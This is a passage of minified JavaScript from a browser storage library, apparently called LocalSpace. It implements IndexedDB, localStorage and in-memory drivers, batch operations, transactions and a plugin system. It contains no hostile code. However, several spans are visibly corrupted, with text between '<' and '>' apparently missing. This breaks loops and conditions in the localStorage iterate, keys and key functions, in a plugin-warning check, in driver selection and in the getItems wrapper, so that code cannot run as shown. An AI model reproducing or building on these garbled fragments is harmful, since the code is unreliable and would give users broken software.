l=Cn(e._dbInfo),c=a.objectStore(l).count();c.onsuccess=()=>i(c.result),c.onerror=()=>s(c.error)}catch(l){s(l)}})}).catch(s)}),r=_n(n,"length");return ke(r,t),r},key:function(t,e){let n=this,r=new Promise((s,o)=>{t<0?s(null):n.ready().then(()=>yr(n._dbInfo)).then(()=>{Hn(n._dbInfo,Ui,(a,l)=>{if(a)return o(a);try{let c=Cn(n._dbInfo),u=l.objectStore(c),f=!1,h=u.openKeyCursor();h.onsuccess=()=>{let d=h.result;d?t===0||f?s(d.key):(f=!0,d.advance(t)):s(null)},h.onerror=()=>o(h.error)}catch(c){o(c)}})}).catch(o)}),i=_n(r,"key",{keyIndex:t});return ke(i,e),i},keys:function(t){let e=this,n=new Promise((i,s)=>{e.ready().then(()=>yr(e._dbInfo)).then(()=>{Hn(e._dbInfo,Ui,(o,a)=>{if(o)return s(o);try{let l=Cn(e._dbInfo),c=a.objectStore(l).openKeyCursor(),u=[];c.onsuccess=()=>{let f=c.result;f?(u.push(f.key),f.continue()):i(u)},c.onerror=()=>s(c.error)}catch(l){s(l)}})}).catch(s)}),r=_n(n,"keys");return ke(r,t),r},dropInstance:function(t,e){let n=this,r=n.config(),i={...typeof t=="object"?t:{}};if(i.name||(i.name=r.name,i.storeName||(i.storeName=r.storeName)),!i.name){let p=Promise.reject(Je("INVALID_ARGUMENT","Invalid arguments",{driver:pi,operation:"dropInstance"})),g=_n(p,"dropInstance",{name:i.name,storeName:i.storeName});return ke(g,e),g}let s=n._dbInfo,o={...i,idbFactory:s?.idbFactory??void 0,coalesceWrites:s?.coalesceWrites,coalesceWindowMs:s?.coalesceWindowMs,coalesceReadConsistency:s?.coalesceReadConsistency,coalesceMaxBatchSize:s?.coalesceMaxBatchSize,coalesceFireAndForget:s?.coalesceFireAndForget};!o.bucket&&r.bucket&&(o.bucket=r.bucket);let a=i.name,l=n._dbInfo?.db??null,c=a===r.name&&l!==null,u=Ua(o),f,h;f=c&&l?Promise.resolve(l):iu(o,!1).then(p=>{let g=$r[u];if(g){let y=g.forages;g.db=p;for(let w of y)w._dbInfo.db=p}return p}),h=i.storeName?f.then(async p=>{if(await yr(o,{force:!0,scope:"database"}),!p.objectStoreNames.contains(i.storeName))return void vz(o);let g=p.version+1;oy(o);let y=$r[u],w=y?.forages||[];p.close();for(let S of w)S._dbInfo.db=null,S._dbInfo.version=g;return new Promise((S,D)=>{let k=Lk(o);if(!k)return D(Je("DRIVER_UNAVAILABLE","IndexedDB not available",{driver:pi}));let E=k.open(a,g);E.onerror=()=>{let v=E.result;v&&v.close(),D(E.error||new Error("Failed to open database"))},E.onupgradeneeded=()=>{let v=E.result;v.objectStoreNames.contains(i.storeName)&&v.deleteObjectStore(i.storeName)},E.onsuccess=()=>{let v=E.result;S(v)}}).then(S=>{if(y){y.db=S,vz(o);for(let D of w)D._dbInfo.db=S,Bk(D._dbInfo)}}).catch(S=>{throw y&&$k(i,S),S})}):f.then(async p=>{await yr(o,{force:!0,scope:"database"}),oy(o);let g=$r[u],y=g?.forages||[];p.close();for(let w of y)w._dbInfo.db=null;return new Promise((w,b)=>{let S=Lk(o);if(!S)return b(Je("DRIVER_UNAVAILABLE","IndexedDB not available",{driver:pi}));let D=S.deleteDatabase(a);D.onerror=()=>{b(D.error||new Error("Failed to delete database"))},D.onblocked=()=>{console.warn(`dropInstance blocked for database "${a}" until all open connections are closed`)},D.onsuccess=()=>{w()}}).then(()=>{if(g){g.db=null;for(let w of y)Bk(w._dbInfo);delete $r[u]}}).catch(w=>{throw g&&$k(o,w),w})});let d=_n(h,"dropInstance",{name:i.name,storeName:i.storeName});return ke(d,e),d},getPerformanceStats:function(){let t=this._dbInfo;if(!t)return{totalWrites:0,coalescedWrites:0,transactionsSaved:0,avgCoalesceSize:0};if(!Fo(t))return{totalWrites:0,coalescedWrites:0,transactionsSaved:0,avgCoalesceSize:0};let e=Gz(t);if(!e)return{totalWrites:0,coalescedWrites:0,transactionsSaved:0,avgCoalesceSize:0};let n=e.stats,r=n.coalescedWrites>0?n.coalescedWrites/(n.totalWrites-n.transactionsSaved||1):0;return{totalWrites:n.totalWrites,coalescedWrites:n.coalescedWrites,transactionsSaved:n.transactionsSaved,avgCoalesceSize:parseFloat(r.toFixed(2))}}},Co="localStorageWrapper",br=(t,e,n,r="OPERATION_FAILED")=>t.catch(i=>{let s=i instanceof Error&&i.message?i.message:`localStorage ${e} failed`;throw ws(i,r,s,{driver:Co,operation:e,...n??{}})});function xz(t,e){let n=t.name+"/";return t.storeName!==e.storeName&&(n+=t.storeName+"/"),n}function xK(){if(!function(){let t="_localforage_support_test";try{return localStorage.setItem(t,"true"),localStorage.removeItem(t),!1}catch{return!0}}())return!0;try{return localStorage.length>0}catch{return!1}}function Sz(t){let e=br(this.ready().then(()=>{let n=this._dbInfo.keyPrefix;for(let r=localStorage.length-1;r>=0;r--){let i=localStorage.key(r);i&&i.indexOf(n)===0&&localStorage.removeItem(i)}}),"clear");return ke(e,t),e}function Dz(t,e){let n=ht(t),r=br(this.ready().then(()=>{let i=this._dbInfo,s=localStorage.getItem(i.keyPrefix+n);return s===null?null:i.serializer.deserialize(s)}),"getItem",{key:n});return ke(r,e),r}function Ez(t,e){let n=br(this.ready().then(()=>{let r=this._dbInfo,i=r.keyPrefix,s=i.length,o=localStorage.length,a=1;for(let l=0;l{let n=this._dbInfo,r=localStorage.length,i=[];for(let s=0;s{let i=this._dbInfo;localStorage.removeItem(i.keyPrefix+n)}),"removeItem",{key:n});return ke(r,e),r}async function Cz(t,e,n){let r=ht(t),i=br(this.ready().then(async()=>{let s=e===void 0?null:e,o=await this._dbInfo.serializer.serialize(s);try{return localStorage.setItem(this._dbInfo.keyPrefix+r,o),s}catch(a){throw a instanceof Error&&(a.name==="QuotaExceededError"||a.name==="NS_ERROR_DOM_QUOTA_REACHED")?ws(a,"QUOTA_EXCEEDED",a.message||"Storage quota exceeded",{driver:Co,operation:"setItem",key:r}):ws(a,"OPERATION_FAILED","Failed to set item in localStorage",{driver:Co,operation:"setItem",key:r})}}),"setItem",{key:r});return ke(i,n),i}var SK={_driver:"localStorageWrapper",_initStorage:async function(t){let e={...t,keyPrefix:xz(t,this._defaultConfig),serializer:$a};if(!xK())throw Je("DRIVER_UNAVAILABLE","localStorage not usable",{driver:Co});this._dbInfo=e},_support:async()=>function(){try{return typeof localStorage<"u"&&"setItem"in localStorage&&!!localStorage.setItem}catch{return!1}}(),iterate:Ez,getItem:Dz,getItems:function(t,e){let n=t.map(i=>ht(i)),r=br(this.ready().then(()=>{let i=this._dbInfo,s=[],o=i.maxBatchSize??n.length;for(let a of ji(n,o))for(let l of a){let c=localStorage.getItem(i.keyPrefix+l);if(c===null){s.push({key:l,value:null});continue}let u=i.serializer.deserialize(c);s.push({key:l,value:u})}return s}),"getItems",{keys:n});return ke(r,e),r},setItem:Cz,setItems:function(t,e){let n=ay(t),r=n.map(s=>s.key),i=br(this.ready().then(async()=>{let s=this._dbInfo,o=[],a=s.maxBatchSize??n.length,l=new Map;for(let c of ji(n,a))for(let u of c){let f=u.value===void 0?null:u.value,h=await s.serializer.serialize(f);l.has(u.key)||l.set(u.key,localStorage.getItem(s.keyPrefix+u.key));try{localStorage.setItem(s.keyPrefix+u.key,h),o.push({key:u.key,value:f})}catch(d){for(let[p,g]of l.entries()){let y=s.keyPrefix+p;g===null?localStorage.removeItem(y):localStorage.setItem(y,g)}throw d instanceof Error&&(d.name==="QuotaExceededError"||d.name==="NS_ERROR_DOM_QUOTA_REACHED")?ws(d,"QUOTA_EXCEEDED",d.message||"Storage quota exceeded",{driver:Co,operation:"setItems",key:u.key}):ws(d,"OPERATION_FAILED","Failed to set items in localStorage",{driver:Co,operation:"setItems",key:u.key})}}return o}),"setItems",{keys:r});return ke(i,e),i},removeItem:_z,removeItems:function(t,e){let n=t.map(i=>ht(i)),r=br(this.ready().then(()=>{let i=this._dbInfo,s=i.maxBatchSize??n.length;for(let o of ji(n,s))for(let a of o)localStorage.removeItem(i.keyPrefix+a)}),"removeItems",{keys:n});return ke(r,e),r},clear:Sz,length:function(t){let e=br(Ok.call(this).then(n=>n.length),"length");return ke(e,t),e},key:function(t,e){let n=br(this.ready().then(()=>{let r=this._dbInfo.keyPrefix,i=[];for(let s=0;s=i.length?null:i[t]}),"key",{keyIndex:t});return ke(n,e),n},keys:Ok,runTransaction(t,e,n){let r=()=>{if(t==="readonly")throw Je("TRANSACTION_READONLY","Transaction is readonly",{driver:Co,operation:"runTransaction",transactionMode:t})},i={get:o=>Dz.call(this,o),set:(o,a)=>(r(),Cz.call(this,o,a)),remove:o=>(r(),_z.call(this,o)),keys:()=>Ok.call(this),iterate:o=>Ez.call(this,o),clear:()=>(r(),Sz.call(this))},s=br(Promise.resolve().then(()=>e(i)).catch(o=>{throw o}),"runTransaction",{transactionMode:t});return ke(s,n),s},dropInstance:function(t,e){let n={...t||{}};if(!n.name){let s=this.config();n.name=s.name,n.storeName=s.storeName}let r=n.name?new Promise(s=>{let o=n.storeName?xz(n,this._defaultConfig):`${n.name}/`;for(let a=localStorage.length-1;a>=0;a--){let l=localStorage.key(a);l&&l.indexOf(o)===0&&localStorage.removeItem(l)}s()}):Promise.reject(Je("INVALID_ARGUMENT","Invalid arguments",{driver:Co,operation:"dropInstance"})),i=br(r,"dropInstance",{name:n.name,storeName:n.storeName??this._defaultConfig.storeName});return ke(i,e),i}},Xc="memoryStorageWrapper",eu={},wr=(t,e,n,r="OPERATION_FAILED")=>t.catch(i=>{let s=i instanceof Error&&i.message?i.message:`memoryStorage ${e} failed`;throw ws(i,r,s,{driver:Xc,operation:e,...n??{}})});function DK(t,e){return eu[t]=eu[t]||{},eu[t][e]=eu[t][e]||new Map,eu[t][e]}async function tu(t){if(t===null||typeof t!="object")return t;if(typeof structuredClone=="function")return structuredClone(t);let e=await $a.serialize(t);return $a.deserialize(e)}async function Pk(t){return tu(t===void 0?null:t)}var EK={_driver:Xc,_initStorage:async function(t){let e=function(r){if(r.name)return r.name;throw Je("INVALID_CONFIG","Memory storage database name is not configured.",{driver:Xc,configKey:"name"})}(t),n=function(r){if(r.storeName)return r.storeName;throw Je("INVALID_CONFIG","Memory storage storeName is not configured.",{driver:Xc,configKey:"storeName"})}(t);this._dbInfo={...t,name:e,storeName:n,serializer:$a,store:DK(e,n)}},_support:!0,iterate:function(t,e){let n=wr(this.ready().then(async()=>{let r=1;for(let[i,s]of this._dbInfo.store.entries()){let o=t(await tu(s),i,r++);if(o!==void 0)return o}}),"iterate");return ke(n,e),n},getItem:function(t,e){let n=ht(t),r=wr(this.ready().then(async()=>this._dbInfo.store.has(n)?tu(this._dbInfo.store.get(n)):null),"getItem",{key:n});return ke(r,e),r},getItems:function(t,e){let n=t.map(i=>ht(i)),r=wr(this.ready().then(async()=>{let i=[],s=this._dbInfo.maxBatchSize??n.length;for(let o of ji(n,s))for(let a of o){if(!this._dbInfo.store.has(a)){i.push({key:a,value:null});continue}let l=await tu(this._dbInfo.store.get(a));i.push({key:a,value:l})}return i}),"getItems",{keys:n});return ke(r,e),r},setItem:function(t,e,n){let r=ht(t),i=wr(this.ready().then(async()=>{let s=await Pk(e);return this._dbInfo.store.set(r,s),s}),"setItem",{key:r});return ke(i,n),i},setItems:function(t,e){let n=ay(t),r=n.map(s=>s.key),i=wr(this.ready().then(async()=>{let s=this._dbInfo.maxBatchSize??n.length,o=[];for(let a of ji(n,s)){let l=[];for(let c of a)l.push({key:c.key,value:await Pk(c.value)});for(let c of l)this._dbInfo.store.set(c.key,c.value),o.push({key:c.key,value:c.value})}return o}),"setItems",{keys:r});return ke(i,e),i},removeItem:function(t,e){let n=ht(t),r=wr(this.ready().then(()=>{this._dbInfo.store.delete(n)}),"removeItem",{key:n});return ke(r,e),r},removeItems:function(t,e){let n=t.map(i=>ht(i)),r=wr(this.ready().then(()=>{let i=this._dbInfo.maxBatchSize??n.length;for(let s of ji(n,i))for(let o of s)this._dbInfo.store.delete(o)}),"removeItems",{keys:n});return ke(r,e),r},clear:function(t){let e=wr(this.ready().then(()=>{this._dbInfo.store.clear()}),"clear");return ke(e,t),e},length:function(t){let e=wr(this.ready().then(()=>this._dbInfo.store.size),"length");return ke(e,t),e},key:function(t,e){let n=wr(this.ready().then(()=>Array.from(this._dbInfo.store.keys())[t]??null),"key",{keyIndex:t});return ke(n,e),n},keys:function(t){let e=wr(this.ready().then(()=>Array.from(this._dbInfo.store.keys())),"keys");return ke(e,t),e},runTransaction:function(t,e,n){let r=wr(this.ready().then(async()=>{let i=this._dbInfo.store,s=t==="readwrite"?new Map(i):null,o=()=>{if(t==="readonly")throw Je("TRANSACTION_READONLY","Transaction is readonly",{driver:Xc,operation:"runTransaction",transactionMode:t})},a={get:async l=>{let c=ht(l);return i.has(c)?tu(i.get(c)):null},set:async(l,c)=>{o();let u=ht(l),f=await Pk(c);return i.set(u,f),f},remove:async l=>{o(),i.delete(ht(l))},keys:async()=>Array.from(i.keys()),iterate:async l=>{let c=1;for(let[u,f]of i.entries()){let h=l(await tu(f),u,c++);if(h!==void 0)return h}},clear:async()=>{o(),i.clear()}};try{return await e(a)}catch(l){if(s){i.clear();for(let[c,u]of s.entries())i.set(c,u)}throw l}}),"runTransaction",{transactionMode:t});return ke(r,n),r},dropInstance:function(t,e){let n=wr(this.ready().then(()=>{let r=this._dbInfo,i=t?.name??r.name;if(!i)throw Je("INVALID_ARGUMENT","Invalid arguments",{driver:Xc,operation:"dropInstance"});let s=t!==void 0,o=typeof t?.storeName=="string",a=o?t.storeName:r.storeName,l=eu[i];if(l)if(s&&!o)for(let c of Object.values(l))c.clear();else l[a]?.clear()}),"dropInstance",{name:t?.name??this._dbInfo.name,storeName:t?.storeName??this._dbInfo.storeName});return ke(n,e),n}},Uk=class extends Error{constructor(e="Plugin aborted the operation"){super(e),this.name="PluginAbortError"}},_K={LENIENT_WITH_ENCRYPTION:{condition:(t,e)=>t.some(n=>n.name==="encryption")&&e.pluginErrorPolicy==="lenient",message:"[localspace] Warning: Using lenient error policy with encryption plugin may silently fail decryption. Consider using strict policy for security-critical plugins."},LENIENT_WITH_COMPRESSION:{condition:(t,e)=>t.some(n=>n.name==="compression")&&e.pluginErrorPolicy==="lenient",message:"[localspace] Warning: Using lenient error policy with compression plugin may cause data corruption if decompression fails."},ENCRYPTION_BEFORE_COMPRESSION:{condition:t=>{let e=t.findIndex(s=>s.name==="encryption"),n=t.findIndex(s=>s.name==="compression");if(e===-1||n===-1)return!1;let r=t[e]?.priority??0,i=t[n]?.priority??0;return r>i||r===i&&e{let e=t.find(r=>r.name==="quota");if(!e)return!1;let n=e.priority??0;return t.some(r=>r.name!=="quota"&&r.name!=="sync"&&(r.priority??0)r.plugin),n=this.host._config;for(let[r,i]of Object.entries(_K))this.warningsEmitted.has(r)||i.condition(e,n)&&(console.warn(i.message),this.warningsEmitted.add(r))}hasPlugins(){return this.pluginRegistry.length>0}registerPlugins(e){for(let n of e)n&&this.pluginRegistry.push({plugin:n,order:this.orderCounter++});this.sortPlugins(),this.validatePluginCombinations()}sortPlugins(){this.pluginRegistry.sort((e,n)=>{let r=e.plugin.priority??0,i=n.plugin.priority??0;return r===i?e.order-n.order:i-r})}getActivePlugins(e){let n=e?.reverse??!1,r=this.pluginRegistry.map(i=>i.plugin).filter(i=>{if(this.disabled.has(i))return!1;let s=i.enabled;if(typeof s=="function")try{return!!s()}catch(o){return console.warn(`Plugin "${i.name}" enabled() check failed`,o),!1}return s!==!1});return n?r.slice().reverse():r}async ensureInitialized(){for(let e of this.getActivePlugins()){if(this.initialized.has(e))continue;if(typeof e.onInit!="function"){this.initialized.add(e);continue}let n=this.initPromises.get(e);if(n){await n;continue}let r=this.createContext(null),i=(async()=>{try{await e.onInit(r),this.initialized.add(e)}catch(s){if(await this.dispatchPluginError(e,s,"init","lifecycle",void 0,r),(this.host._config.pluginInitPolicy??"fail")==="disable-and-continue")return void this.disabled.add(e);throw s}finally{this.initPromises.delete(e)}})();this.initPromises.set(e,i),await i}}createContext(e){return{instance:this.host,driver:this.host.driver?this.host.driver():null,dbInfo:this.host._dbInfo??null,config:this.host._config,metadata:this.sharedMetadata,operation:e,operationState:Object.create(null)}}async beforeSet(e,n,r){let i=n;for(let s of this.getActivePlugins())s.beforeSet&&(i=await this.invokeValueHook(s,()=>s.beforeSet(e,i,r),"before","setItem",e,r,i));return i}async afterSet(e,n,r){for(let i of this.getActivePlugins({reverse:!0}))i.afterSet&&await this.invokeVoidHook(i,()=>i.afterSet(e,n,r),"after","setItem",e,r)}async beforeGet(e,n){let r=e;for(let i of this.getActivePlugins())i.beforeGet&&(r=await this.invokeValueHook(i,()=>i.beforeGet(r,n),"before","getItem",r,n,r));return r}async afterGet(e,n,r){let i=n;for(let s of this.getActivePlugins({reverse:!0}))s.afterGet&&(i=await this.invokeValueHook(s,()=>s.afterGet(e,i,r),"after","getItem",e,r,i));return i}async beforeRemove(e,n){let r=e;for(let i of this.getActivePlugins())i.beforeRemove&&(r=await this.invokeValueHook(i,()=>i.beforeRemove(r,n),"before","removeItem",r,n,r));return r}async afterRemove(e,n){for(let r of this.getActivePlugins({reverse:!0}))r.afterRemove&&await this.invokeVoidHook(r,()=>r.afterRemove(e,n),"after","removeItem",e,n)}async beforeSetItems(e,n){let r=e;for(let i of this.getActivePlugins())i.beforeSetItems&&(r=await this.invokeValueHook(i,()=>i.beforeSetItems(r,n),"before","setItems",void 0,n,r));return r}async afterSetItems(e,n){let r=e;for(let i of this.getActivePlugins({reverse:!0}))i.afterSetItems&&(r=await this.invokeValueHook(i,()=>i.afterSetItems(r,n),"after","setItems",void 0,n,r));return r}async beforeGetItems(e,n){let r=e;for(let i of this.getActivePlugins())i.beforeGetItems&&(r=await this.invokeValueHook(i,()=>i.beforeGetItems(r,n),"before","getItems",void 0,n,r));return r}async afterGetItems(e,n){let r=e;for(let i of this.getActivePlugins({reverse:!0}))i.afterGetItems&&(r=await this.invokeValueHook(i,()=>i.afterGetItems(r,n),"after","getItems",void 0,n,r));return r}async beforeRemoveItems(e,n){let r=e;for(let i of this.getActivePlugins())i.beforeRemoveItems&&(r=await this.invokeValueHook(i,()=>i.beforeRemoveItems(r,n),"before","removeItems",void 0,n,r));return r}async afterRemoveItems(e,n){for(let r of this.getActivePlugins({reverse:!0}))r.afterRemoveItems&&await this.invokeVoidHook(r,()=>r.afterRemoveItems(e,n),"after","removeItems",void 0,n)}async destroy(){let e=this.pluginRegistry.map(n=>n.plugin).slice().reverse();for(let n of e){if(this.destroyed.has(n)||this.disabled.has(n))continue;if(typeof n.onDestroy!="function"){this.destroyed.add(n);continue}let r=this.createContext(null);try{await n.onDestroy(r)}catch(i){await this.dispatchPluginError(n,i,"destroy","lifecycle",void 0,r)}finally{this.destroyed.add(n)}}}normalizeBatch(e){return ay(e)}shouldPropagate(e,n){return n==="strict"||e instanceof Ba||e instanceof Uk}async dispatchPluginError(e,n,r,i,s,o){let a={plugin:e.name,operation:i,stage:r,key:s,context:o,error:n};if(typeof e.onError=="function")try{return void await e.onError(n,a)}catch(l){console.error(`Plugin onError handler failed for "${e.name}"`,l)}console.warn(`Plugin "${e.name}" error during ${i}`,n)}async invokeValueHook(e,n,r,i,s,o,a){try{let l=await n();return l===void 0?a:l}catch(l){let c=this.host._config.pluginErrorPolicy??"strict";if(this.shouldPropagate(l,c))throw l;return await this.dispatchPluginError(e,l,r,i,s,o),a}}async invokeVoidHook(e,n,r,i,s,o){try{await n()}catch(a){let l=this.host._config.pluginErrorPolicy??"strict";if(this.shouldPropagate(a,l))throw a;await this.dispatchPluginError(e,a,r,i,s,o)}}},nu={},Xh={},td={INDEXEDDB:kK,LOCALSTORAGE:SK,MEMORY:EK},CK=[td.INDEXEDDB._driver,td.LOCALSTORAGE._driver],sy={},qk=["dropInstance","setItems","getItems","removeItems","runTransaction"],Tz=["clear","getItem","getItems","iterate","key","keys","length","removeItem","removeItems","setItem","setItems","runTransaction"].concat(qk),Fz=["setItem","getItem","removeItem","setItems","getItems","removeItems"],TK={description:"",driver:CK.slice(),name:"localforage",size:4980736,storeName:"keyvaluepairs",version:1,compatibilityMode:!1,coalesceWrites:!1,coalesceWindowMs:8,coalesceReadConsistency:"strong",coalesceFireAndForget:!1,coalesceMaxBatchSize:void 0,pluginInitPolicy:"fail",pluginErrorPolicy:"lenient"},ed=(t,e)=>{if(t)return n=>{e?.compatibilityMode?t(n):t(n,void 0)}};function FK(t,e){t[e]=function(...n){return t.ready().then(()=>t[e].apply(t,n))}}function IK(t,e){let n=e._driver;if(nu[n])return Promise.resolve();let r=sy[n];if(r)return r;let i=t.defineDriver(e).finally(()=>{sy[n]===i&&delete sy[n]});return sy[n]=i,i}var Vk=class t{constructor(e){Object.defineProperty(this,"INDEXEDDB",{enumerable:!0,configurable:!0,writable:!0,value:"asyncStorage"}),Object.defineProperty(this,"LOCALSTORAGE",{enumerable:!0,configurable:!0,writable:!0,value:"localStorageWrapper"}),Object.defineProperty(this,"MEMORY",{enumerable:!0,configurable:!0,writable:!0,value:"memoryStorageWrapper"}),Object.defineProperty(this,"REACTNATIVEASYNCSTORAGE",{enumerable:!0,configurable:!0,writable:!0,value:"reactNativeAsyncStorageWrapper"}),Object.defineProperty(this,"_defaultConfig",{enumerable:!0,configurable:!0,writable:!0,value:void 0}),Object.defineProperty(this,"_config",{enumerable:!0,configurable:!0,writable:!0,value:void 0}),Object.defineProperty(this,"_driverSet",{enumerable:!0,configurable:!0,writable:!0,value:null}),Object.defineProperty(this,"_pendingDriverInitialization",{enumerable:!0,configurable:!0,writable:!0,value:null}),Object.defineProperty(this,"_isRunningDefaultDriverSelection",{enumerable:!0,configurable:!0,writable:!0,value:!1}),Object.defineProperty(this,"_manualDriverOverride",{enumerable:!0,configurable:!0,writable:!0,value:!1}),Object.defineProperty(this,"_initDriver",{enumerable:!0,configurable:!0,writable:!0,value:null}),Object.defineProperty(this,"_ready",{enumerable:!0,configurable:!0,writable:!0,value:null}),Object.defineProperty(this,"_dbInfo",{enumerable:!0,configurable:!0,writable:!0,value:null}),Object.defineProperty(this,"_driver",{enumerable:!0,configurable:!0,writable:!0,value:void 0}),Object.defineProperty(this,"_pluginManager",{enumerable:!0,configurable:!0,writable:!0,value:void 0}),Object.defineProperty(this,"_rawDriverMethods",{enumerable:!0,configurable:!0,writable:!0,value:{}});let n=[],{plugins:r=[],...i}=e??{};for(let o in td)if(Object.prototype.hasOwnProperty.call(td,o)){let a=td[o],l=a._driver;this[o]=l,n.push(IK(this,a).catch(c=>{console.warn(`Failed to define LocalSpace driver "${l}"`,c)}))}this._defaultConfig=Fk({},TK),this._config=Fk({},this._defaultConfig,i),this._pluginManager=new jk(this,r),this._wrapLibraryMethodsWithReady();let s=n.length>0?Promise.all(n).then(()=>{}):Promise.resolve();this._pendingDriverInitialization=s.then(()=>this._runDefaultDriverSelection()),this._pendingDriverInitialization.then(()=>{this._pendingDriverInitialization=null},()=>{this._pendingDriverInitialization=null})}config(e){if(typeof e=="object"&&e!==null){if(this._ready)return Je("CONFIG_LOCKED","Can't call config() after LocalSpace has been used.",{operation:"config"});let n=e;for(let i of Object.keys(n)){let s=n[i];if(i==="version"&&typeof s!="number")return Je("INVALID_CONFIG","Database version must be a number.",{configKey:"version",providedType:typeof s})}let r=this._config;for(let i of Object.keys(n)){let s=n[i];i!=="storeName"||typeof s!="string"?r[i]=s:r.storeName=s.replace(/\W/g,"_")}return!n.driver||this.setDriver(this._config.driver)}if(typeof e=="string"){let n=e;return this._config[n]}return this._config}createInstance(e){return new t(e)}use(e){let n=Array.isArray(e)?e:[e];return this._pluginManager.registerPlugins(n),this._refreshPluginWrappers(),this}async destroy(){await this._pluginManager.ensureInitialized(),await this._pluginManager.destroy()}async defineDriver(e,n,r){let i=new Promise(async(o,a)=>{try{let l=e._driver,c=Je("DRIVER_COMPLIANCE","Custom driver not compliant",{driver:l});if(!e._driver)return void a(c);let u=e,f=Tz.concat("_initStorage");for(let d of f){let p=!yK(qk,d),g=u[d];if((p||g)&&typeof g!="function")return void a(c)}(()=>{let d=p=>function(...g){let y=Je("UNSUPPORTED_OPERATION",`Method ${p} is not implemented by the current driver`,{operation:p}),w=g[g.length-1];return typeof w=="function"&&w(y),Promise.reject(y)};for(let p of qk)u[p]||(u[p]=d(p))})();let h=d=>{nu[l]&&console.info(`Redefining LocalSpace driver: ${l}`),nu[l]=e,Xh[l]=d,o()};"_support"in e?e._support&&typeof e._support=="function"?h(await e._support()):h(!!e._support):h(!0)}catch(l){a(l)}}),s=this._getCallbackOptions();return Jc(i,n,ed(r,s),s),i}driver(){return this._driver||null}async getDriver(e,n,r){let i=nu[e]?Promise.resolve(nu[e]):Promise.reject(Je("DRIVER_NOT_FOUND","Driver not found.",{driver:e})),s=this._getCallbackOptions();return Jc(i,n,ed(r,s),s),i}async getSerializer(e){let n=Promise.resolve($a);return Jc(n,e,void 0,this._getCallbackOptions()),n}async ready(e){let n=(this._driverSet??this._pendingDriverInitialization??Promise.resolve()).then(()=>(this._ready===null&&(this._ready=this._initDriver?this._initDriver():Promise.resolve()),this._ready)),r=this._getCallbackOptions();return Jc(n,e,ed(e,r),r),n}async setDriver(e,n,r){this._pendingDriverInitialization&&!this._isRunningDefaultDriverSelection&&await this._pendingDriverInitialization.catch(()=>{}),this._isRunningDefaultDriverSelection||(this._manualDriverOverride=!0),Pz(e)||(e=[e]);let i=e,s=await this._resolveSupportedDrivers(i),o=this._getCallbackOptions();if(s.length===0){let f=Je("DRIVER_UNAVAILABLE","No available storage method found.",{attemptedDrivers:i}),h=Promise.resolve().then(()=>{throw f});return this._driverSet=h,Jc(h,n,ed(r,o),o),h}let a=()=>{this._config.driver=this.driver()??void 0},l=async f=>{this._extend(f),this._driver=f._driver,a();let h=this._initStorage;return this._ready=typeof h=="function"?h.call(this,this._config):Promise.resolve(),await this._ready,this._ready},c=f=>async()=>{let h=0;return(async()=>{for(;hPromise.resolve()):Promise.resolve();return this._driverSet=u.then(async()=>{let f=s[0];this._dbInfo=null,this._ready=null;let h=await this.getDriver(f);this._driver=h._driver,a(),this._wrapLibraryMethodsWithReady(),this._initDriver=c(s)}).catch(()=>{throw a(),Je("DRIVER_UNAVAILABLE","No available storage method found.",{attemptedDrivers:s})}),Jc(this._driverSet,n,ed(r,o),o),this._driverSet}supports(e){return!!Xh[e]||this._isDriverForcedByInstanceConfig(e)}_extend(e){Fk(this,e),this._capturePluginAwareMethods(e)}_capturePluginAwareMethods(e){for(let n of Fz){let r=e[n];typeof r=="function"&&(this._rawDriverMethods[n]=r.bind(this))}this._refreshPluginWrappers()}_refreshPluginWrappers(){for(let e of Fz){let n=this._rawDriverMethods[e];if(n)if(this._pluginManager&&this._pluginManager.hasPlugins())switch(e){case"setItem":this[e]=this._createSetItemWrapper(n);break;case"getItem":this[e]=this._createGetItemWrapper(n);break;case"removeItem":this[e]=this._createRemoveItemWrapper(n);break;case"setItems":this[e]=this._createSetItemsWrapper(n);break;case"getItems":this[e]=this._createGetItemsWrapper(n);break;case"removeItems":this[e]=this._createRemoveItemsWrapper(n);break;default:this[e]=n}else this[e]=n}}_createSetItemWrapper(e){return(n,r,i)=>{let s=typeof i=="function"?i:void 0;return ke((async()=>{await this._pluginManager.ensureInitialized();let o=this._pluginManager.createContext("setItem");o.operationState.originalValue=r;let a=await this._pluginManager.beforeSet(n,r,o),l=await e(n,a);return o.operationState.driverResult=l,await this._pluginManager.afterSet(n,a,o),o.operationState.returnValue??o.operationState.originalValue??r})(),s)}}_createGetItemWrapper(e){return(n,r)=>{let i=typeof r=="function"?r:void 0;return ke((async()=>{await this._pluginManager.ensureInitialized();let s=this._pluginManager.createContext("getItem"),o=await this._pluginManager.beforeGet(n,s),a=await e(o);return await this._pluginManager.afterGet(o,a,s)})(),i)}}_createRemoveItemWrapper(e){return(n,r)=>{let i=typeof r=="function"?r:void 0;return ke((async()=>{await this._pluginManager.ensureInitialized();let s=this._pluginManager.createContext("removeItem"),o=await this._pluginManager.beforeRemove(n,s);await e(o),await this._pluginManager.afterRemove(o,s)})(),i)}}_createSetItemsWrapper(e){return(n,r)=>{let i=typeof r=="function"?r:void 0;return ke((async()=>{await this._pluginManager.ensureInitialized();let s=this._pluginManager.createContext("setItems");s.operationState.isBatch=!0;let o=await this._pluginManager.beforeSetItems(n,s),a=this._pluginManager.normalizeBatch(o);s.operationState.batchSize=a.length;let l=[],c=new Map;for(let h of a){let d=this._pluginManager.createContext("setItem");d.operationState.originalValue=h.value,d.operationState.isBatch=!0,d.operationState.batchSize=a.length;let p=await this._pluginManager.beforeSet(h.key,h.value,d),g={key:h.key,value:p,context:d};l.push(g),c.set(h.key,{value:p,context:d})}let u=await e(l),f=await this._pluginManager.afterSetItems(u,s);for(let h of l)await this._pluginManager.afterSet(h.key,h.value,h.context);return f.map(h=>{let d=c.get(h.key),p=d?.context.operationState.returnValue,g=p!==void 0?p:h.value!==void 0?h.value:d?.context.operationState.originalValue??d?.value;return{key:h.key,value:g}})})(),i)}}_createGetItemsWrapper(e){return(n,r)=>{let i=typeof r=="function"?r:void 0,s=(async()=>{await this._pluginManager.ensureInitialized();let o=this._pluginManager.createContext("getItems");o.operationState.isBatch=!0,o.operationState.batchSize=n.length;let a=await this._pluginManager.beforeGetItems(n,o),l=[],c=new Map;for(let d of a){let p=this._pluginManager.createContext("getItem");p.operationState.isBatch=!0,p.operationState.batchSize=a.length;let g=await this._pluginManager.beforeGet(d,p);c.set(g,d),l.push({requestedKey:d,targetKey:g,context:p})}let u=l.map(d=>d.targetKey),f=await e(u),h=[];for(let d=0;dw.targetKey===p.key)?.context??this._pluginManager.createContext("getItem");g.operationState.isBatch=!0,g.operationState.batchSize=a.length;let 